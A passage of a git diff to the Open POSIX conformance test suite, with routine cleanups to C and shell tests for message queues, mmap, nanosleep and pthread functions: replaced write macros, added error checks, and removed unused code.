-	if (received_selected == NUM_AIOCBS - 1) {
-		printf(TNAME " lio_listio() waited\n");
-		for (i = 0; i < NUM_AIOCBS; i++)
-			free(aiocbs[i]);
-		free(bufs);
-		close(fd);
-		exit(PTS_FAIL);
-	}
-
 	if (received_all != 0) {
 		printf(TNAME
 		       " Error lio_listio() waited for list completion\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c
index d639494..be0f140 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c
@@ -33,13 +33,11 @@
 #include "posixtest.h"
 #include "tempfile.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static void sigbus_handler(int signum)
 {
 	if (signum == SIGBUS) {
-		WRITE("SIGBUS triggered\n");
-		WRITE("Test PASSED\n");
+		PTS_WRITE_MSG("SIGBUS triggered\n");
+		PTS_WRITE_MSG("Test PASSED\n");
 		_exit(PTS_PASS);
 	}
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c
index 073b64e..7d38dac 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c
@@ -31,13 +31,11 @@
 #include <unistd.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static void sigbus_handler(int signum)
 {
 	if (signum == SIGBUS) {
-		WRITE("SIGBUS triggered\n");
-		WRITE("Test PASSED\n");
+		PTS_WRITE_MSG("SIGBUS triggered\n");
+		PTS_WRITE_MSG("Test PASSED\n");
 		_exit(PTS_PASS);
 	}
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c
index 113d01b..9d02a07 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c
@@ -124,14 +124,18 @@
 	 * EAGAIN:
 	 * Lock all the memory by mlockall().
 	 * Set resource limit setrlimit()
-	 * Change the user to non-root then only setrmilit is applicable.
+	 * Change the user to non-root then only setrlimit is applicable.
 	 */
 	pa = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
 	if (pa == MAP_FAILED && errno == EAGAIN) {
 		printf("Got EAGAIN: %s\n", strerror(errno));
 		printf("Test PASSED\n");
 		/* Change user to root */
-		seteuid(0);
+		if (seteuid(0)) {
+			close(fd);
+			perror("seteuid");
+			return PTS_UNRESOLVED;
+		}
 		close(fd);
 		munmap(pa, len);
 		return PTS_PASS;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c
index bcb330d..ad7b6bb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c
@@ -34,7 +34,7 @@
 #include "posixtest.h"
 #include "tempfile.h"
 
-static struct testcase {
+struct testcase {
 	int prot;
 	int flags;
 };
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mq_open/16-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mq_open/16-1.c
index eee55a7..ecbfb0f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mq_open/16-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mq_open/16-1.c
@@ -61,10 +61,14 @@
 		printf(TNAME " Error at open(): %s\n", strerror(errno));
 		return PTS_UNRESOLVED;
 	}
-	/* file is empty now, will cause "Bus error" */
-	write(fd, fname, sizeof(int));
 	unlink(fname);
 
+	if (ftruncate(fd, sizeof(int))) {
+		perror("ftruncate");
+		close(fd);
+		return PTS_UNRESOLVED;
+	}
+
 	pa = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
 	if (pa == MAP_FAILED) {
 		printf(TNAME " Error at mmap: %s\n", strerror(errno));
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-1.c
index a2b3025..174e4f6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-1.c
@@ -68,7 +68,6 @@
 	char msgrcd[BUFFER];
 	const char *msgptr = MSGSTR;
 	struct mq_attr attr;
-	int unresolved = 0;
 	unsigned pri;
 
 	sprintf(gqname, "/mq_send_5-1_%d", getpid());
@@ -128,7 +127,7 @@
 		/* receive one message and allow child's mq_send to complete */
 		if (mq_receive(gqueue, msgrcd, BUFFER, &pri) == -1) {
 			perror("mq_receive() did not return success");
-			unresolved = 1;
+			return cleanup_for_exit(gqueue, gqname, PTS_UNRESOLVED);
 		}
 
 		/* child has 5 seconds to call mq_send() again and notify us */
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c b/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c
index a843c13..d79d972 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c
@@ -110,5 +110,6 @@
 		sleep(1);	/* give time to parent to set up handler */
 		/* send signal to parent */
 		kill(getppid(), SIGABRT);
+		return 0;
 	}
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-1.c
index fb4a81f..371cdbc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-1.c
@@ -58,7 +58,6 @@
 	char msgrcd[BUFFER];
 	const char *msgptr = MSGSTR;
 	struct mq_attr attr;
-	int unresolved = 0;
 	unsigned pri;
 
 	sprintf(gqname, "/mq_timedsend_5-1_%d", getpid());
@@ -119,7 +118,10 @@
 		/* receive message and allow blocked send to complete */
 		if (mq_receive(gqueue, msgrcd, BUFFER, &pri) == -1) {
 			perror("mq_receive() did not return success");
-			unresolved = 1;
+			kill(pid, SIGKILL);	//kill child
+			mq_close(gqueue);
+			mq_unlink(gqname);
+			return PTS_UNRESOLVED;
 		}
 
 		if (sleep(3) == 0) {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-2.c
index 4016fb4..bfc271e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-2.c
@@ -31,7 +31,10 @@
 		return PTS_UNRESOLVED;
 	}
 
-	if ((pid = fork()) == 0) {
+	if ((pid = fork()) < 0) {
+		printf("fork() did not return success\n");
+		return PTS_UNRESOLVED;
+	} else if (pid == 0) {
 		/* child here */
 		struct timespec tssleep;
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/2-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/2-1.sh
index aefe843..1ab1bb0 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/2-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/2-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedparam/2-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedparam/2-1.sh
index 51416dc..1d17d73 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedparam/2-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedparam/2-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, QUALCOMM Inc. All rights reserved.
 # Created by:  abisain REMOVE-THIS AT qualcomm DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/1-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/1-1.sh
index 84caa05..b0ec242 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/1-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/1-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/3-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/3-1.sh
index 8b313fc..48a16e2 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/3-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/3-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/2-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/2-1.sh
index d7ab682..71eca62 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/2-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/2-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstack/2-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstack/2-1.sh
index 0ce6a34..6dd4aa6 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstack/2-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstack/2-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstacksize/2-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstacksize/2-1.sh
index 0ce6a34..6dd4aa6 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstacksize/2-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstacksize/2-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/3-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/3-1.sh
index 9b4452d..98f53eb 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/3-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/3-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/2-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/2-1.sh
index 18612c8..ff1d162 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/2-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/2-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, QUALCOMM Inc. All rights reserved.
 # Created by:  abisain REMOVE-THIS AT qualcomm DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/3-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/3-1.sh
index c8d977f..8b18188 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/3-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/3-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/3-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/3-1.sh
index 174ddad..02ab551 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/3-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/3-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/3-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/3-1.sh
index 871def2..c076f46 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/3-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/3-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/5-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/5-1.sh
index 871def2..c076f46 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/5-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/5-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/6-1.c
index 5eac212..d298c30 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/6-1.c
@@ -31,12 +31,6 @@
 static void *stack_addr;
 static size_t stack_size;
 
-static void *thread_func()
-{
-	pthread_exit(0);
-	return NULL;
-}
-
 int main(void)
 {
 	pthread_attr_t attr;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/7-1.c
index bc7f4f4..932fa82 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/7-1.c
@@ -32,12 +32,6 @@
 static void *stack_addr;
 static size_t stack_size;
 
-static void *thread_func()
-{
-	pthread_exit(0);
-	return NULL;
-}
-
 int main(void)
 {
 	pthread_attr_t attr;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/3-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/3-1.sh
index 871def2..c076f46 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/3-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/3-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/4-1.c
index b229d70..800913a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/4-1.c
@@ -28,12 +28,6 @@
 
 #define STACKSIZE PTHREAD_STACK_MIN - sysconf(_SC_PAGE_SIZE)
 
-static void *thread_func()
-{
-	pthread_exit(0);
-	return NULL;
-}
-
 int main(void)
 {
 	pthread_attr_t attr;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c
index a21a5a5..a2e5684 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c
@@ -141,7 +141,9 @@
 	if (pid == -1) {
 		perror("Error at fork()");
 		return PTS_UNRESOLVED;
-	} else if (pid == 0) {
+	}
+
+	if (pid == 0) {
 		/* Child */
 		/* Map the shared object to child's memory */
 		barrier =
@@ -175,44 +177,40 @@
 
 	}
 
-	if (pid > 0) {
-		/* parent */
-		if (wait(&status) != pid) {
-			printf("parent: error at waitpid()\n");
-			return PTS_UNRESOLVED;
-		}
+	if (pid == 0)
+		return serial;
 
-		if (!WIFEXITED(status)) {
-			printf("Child exited abnormally\n");
-			return PTS_UNRESOLVED;
-		}
-
-		if ((WEXITSTATUS(status) + serial) != LOOP_NUM) {
-			printf("status = %d\n", status);
-			printf("serial = %d\n", serial);
-			printf
-			    ("Test FAILED: One of the two processes should get "
-			     "PTHREAD_BARRIER_SERIAL_THREAD\n");
-			return PTS_FAIL;
-		}
-
-		/* Cleanup */
-		if (pthread_barrier_destroy(barrier) != 0) {
-			printf("Error at pthread_barrier_destroy()\n");
-			return PTS_UNRESOLVED;
-		}
-
-		if ((shm_unlink(shm_name)) != 0) {
-			perror("Error at shm_unlink()");
-			return PTS_UNRESOLVED;
-		}
-
-		printf("Test PASSED\n");
-		return PTS_PASS;
+	/* parent */
+	if (wait(&status) != pid) {
+		printf("parent: error at waitpid()\n");
+		return PTS_UNRESOLVED;
 	}
 
-	if (pid == 0) {
-		exit(serial);
+	if (!WIFEXITED(status)) {
+		printf("Child exited abnormally\n");
+		return PTS_UNRESOLVED;
 	}
 
+	if ((WEXITSTATUS(status) + serial) != LOOP_NUM) {
+		printf("status = %d\n", status);
+		printf("serial = %d\n", serial);
+		printf
+		    ("Test FAILED: One of the two processes should get "
+		     "PTHREAD_BARRIER_SERIAL_THREAD\n");
+		return PTS_FAIL;
+	}
+
+	/* Cleanup */
+	if (pthread_barrier_destroy(barrier) != 0) {
+		printf("Error at pthread_barrier_destroy()\n");
+		return PTS_UNRESOLVED;
+	}
+
+	if ((shm_unlink(shm_name)) != 0) {
+		perror("Error at shm_unlink()");
+		return PTS_UNRESOLVED;
+	}
+
+	printf("Test PASSED\n");
+	return PTS_PASS;
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c
index 3527d57..90500b3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c
@@ -35,19 +35,25 @@
 	} while (after_cancel == 0 && thread_sleep_time < TIMEOUT_MS);
 }
 
-static void *thread_func(PTS_ATTRIBUTE_UNUSED void *unused)
+static void sleep_loop(void)
 {
 	int waited_for_cancel_ms = 0;
 	struct timespec cancel_wait_ts = {0, SLEEP_MS*1000000};
 
-	SAFE_PFUNC(pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL));
-	pthread_cleanup_push(cleanup_func, NULL);
-
-	SAFE_FUNC(sem_post(&sem));
 	while (waited_for_cancel_ms < TIMEOUT_MS) {
 		nanosleep(&cancel_wait_ts, NULL);
 		waited_for_cancel_ms += SLEEP_MS;
 	}
+}
+
+static void *thread_func(PTS_ATTRIBUTE_UNUSED void *unused)
+{
+	SAFE_PFUNC(pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL));
+	pthread_cleanup_push(cleanup_func, NULL);
+
+	SAFE_FUNC(sem_post(&sem));
+
+	sleep_loop();
 
 	/* shouldn't be reached */
 	printf("Error: cancel never arrived\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/2-1.c
index 4a60f70..fbb7c68 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/2-1.c
@@ -14,7 +14,7 @@
 #include <stdio.h>
 #include "posixtest.h"
 
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_cond_t cond PTS_ATTRIBUTE_UNUSED = PTHREAD_COND_INITIALIZER;
 
 int main(void)
 {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/4-1.c
index d0aa32f..6205d8d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/4-1.c
@@ -15,6 +15,9 @@
  *
  */
 
+/* This test explicitly tries to pass null to a parameter, that should not be NULL */
+#pragma GCC diagnostic ignored "-Wnonnull"
+
 #include <pthread.h>
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-3.c
index 30fcfe0..2fecdd1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-3.c
@@ -10,8 +10,8 @@
  *
  * Steps:
  * 1.  Create a new thread that will go into a never-ending while loop.
- * 2.  If the thread is truly asynchronise, then the main function will
- *     continue instead of waiting for the thread to return (which in never
+ * 2.  If the thread is truly asynchronous, then the main function will
+ *     continue instead of waiting for the thread to return (which it never
  *     does in this test case).
  * 3.  An alarm is set to go off (i.e. send the SIGARLM signal) after 3
  *     seconds. This is done for 'timeing-out' reasons, in case main DOES
@@ -72,11 +72,9 @@
 	return NULL;
 }
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 /* If this handler is called, that means that the test has failed. */
 static void alarm_handler()
 {
-	WRITE("Test FAILED: Alarm fired while waiting for cancelation\n");
+	PTS_WRITE_MSG("Test FAILED: Alarm fired while waiting for cancelation\n");
 	_exit(PTS_FAIL);
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c
index c4756ab..33c5b5c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c
@@ -100,12 +100,9 @@
 static void *overflow(void *arg)
 {
 	void *current;
-	void *pad[50];		/* We want to consume the stack quickly */
 	long stacksize = sysconf(_SC_THREAD_STACK_MIN);	/* make sure we touch the current stack memory */
 	int ret = 0;
 
-	pad[1] = NULL;		/* so compiler stops complaining about unused variables */
-
 	if (arg == NULL) {
 		/* first call */
 		current = overflow(&current);
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c
index c21860b..84d229a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c
@@ -47,6 +47,8 @@
 /* number of pthread_create scenarios tested */
 static unsigned long count_ope;
 
+static unsigned int sc;
+
 static unsigned long long current_time_usec(void)
 {
 	struct timeval now;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/15-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/15-1.c
index e8c003f..a05db67 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/15-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/15-1.c
@@ -76,6 +76,7 @@
 /***********************************    Test cases  *****************************************/
 /********************************************************************************************/
 
+/* main is defined in the next file */
 #define STD_MAIN
 #include "../testfrmw/threads_scenarii.c"
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c
index a508fc4..3197bdf 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c
@@ -104,14 +104,14 @@
 
 static sem_t semsync[2];		/* These semaphores will only be used in child process! */
 
+static unsigned int sc;
+
 /* The overflow function is used to test the stack overflow */
 static void *overflow(void *arg)
 {
 	void *current;
-	void *pad[50];		/* We want to consume the stack quickly */
 	long stacksize = sysconf(_SC_THREAD_STACK_MIN);	/* make sure we touch the current stack memory */
 
-	pad[1] = NULL;		/* so compiler stops complaining about unused variables */
 	int ret = 0;
 
 	if (arg == NULL) {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c
index a6eb391..28a7e9e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c
@@ -91,6 +91,8 @@
 /***********************************    Real Test   *****************************************/
 /********************************************************************************************/
 
+static unsigned int sc;
+
 static void *threaded(void *arg)
 {
 	int ret = 0;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c
index 8a406fe..a2c5cc6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c
@@ -93,6 +93,7 @@
 /********************************************************************************************/
 
 static sem_t sem_sync;
+static unsigned int sc;
 
 static void *threaded(void *arg)
 {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c
index fc3a50b..126f5aa 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c
@@ -61,6 +61,7 @@
 static unsigned long count_sig;
 static long sleep_time;
 static sigset_t usersigs;
+static unsigned int sc;
 
 struct thestruct {
 	int sig;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c
index 82be6f9..c9931e2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c
@@ -105,7 +105,7 @@
 	int ret = 0;
 	void *rval;
 	pthread_t child;
-	int i;
+	unsigned int i;
 
 	output_init();
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c
index 2fc3ff7..7098e2e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c
@@ -92,7 +92,7 @@
 static int global = 0;
 static int tab[3];
 
-#define CLEANUP(n) static void clnp##n(void * arg)\
+#define CLEANUP(n) static void clnp##n(void * arg PTS_ATTRIBUTE_UNUSED)\
 {\
 	tab[global]=n; \
 	global++; \
@@ -123,7 +123,8 @@
 	int ret = 0;
 	void *rval;
 	pthread_t child;
-	int i, j;
+	unsigned int i;
+	int j;
 
 	output_init();
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c
index 5fa6c8b..0a8583f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c
@@ -94,7 +94,7 @@
 static int tab[4];
 static pthread_key_t tld[3];
 
-#define CLEANUP(n) static void clnp##n(void * arg)\
+#define CLEANUP(n) static void clnp##n(void * arg PTS_ATTRIBUTE_UNUSED)\
 {\
 	tab[global]=n; \
 	global++; \
@@ -149,7 +149,8 @@
 	int ret = 0;
 	void *rval;
